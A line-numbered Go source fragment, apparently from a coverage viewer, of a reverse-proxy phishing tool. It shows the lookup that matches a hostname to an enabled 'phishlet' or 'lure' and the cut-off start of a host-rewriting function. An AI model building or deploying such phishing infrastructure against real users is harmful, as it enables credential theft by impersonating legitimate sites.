(hostname string)
| 1667 | } |
| 1668 | |
| 1669 | func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet { |
| 1670 | for site, pl := range p.cfg.phishlets { |
| 1671 | if p.cfg.IsSiteEnabled(site) { |
| 1672 | phishDomain, ok := p.cfg.GetSiteDomain(pl.Name) |
| 1673 | if !ok { |
| 1674 | continue |
| 1675 | } |
| 1676 | for _, ph := range pl.proxyHosts { |
| 1677 | if hostname == combineHost(ph.phish_subdomain, phishDomain) { |
| 1678 | return pl |
| 1679 | } |
| 1680 | } |
| 1681 | } |
| 1682 | } |
| 1683 | |
| 1684 | for _, l := range p.cfg.lures { |
| 1685 | if l.Hostname == hostname { |
| 1686 | if p.cfg.IsSiteEnabled(l.Phishlet) { |
| 1687 | pl, err := p.cfg.GetPhishlet(l.Phishlet) |
| 1688 | if err == nil { |
| 1689 | return pl |
| 1690 | } |
| 1691 | } |
| 1692 | } |
| 1693 | } |
| 1694 | |
| 1695 | return nil |
| 1696 | } |
| 1697 | |
| 1698 | func (p *HttpProxy) replaceHostWithOriginal(hostname string) (string, bool) { |
| 1699 | if hostname == "" { |
no test coverage detected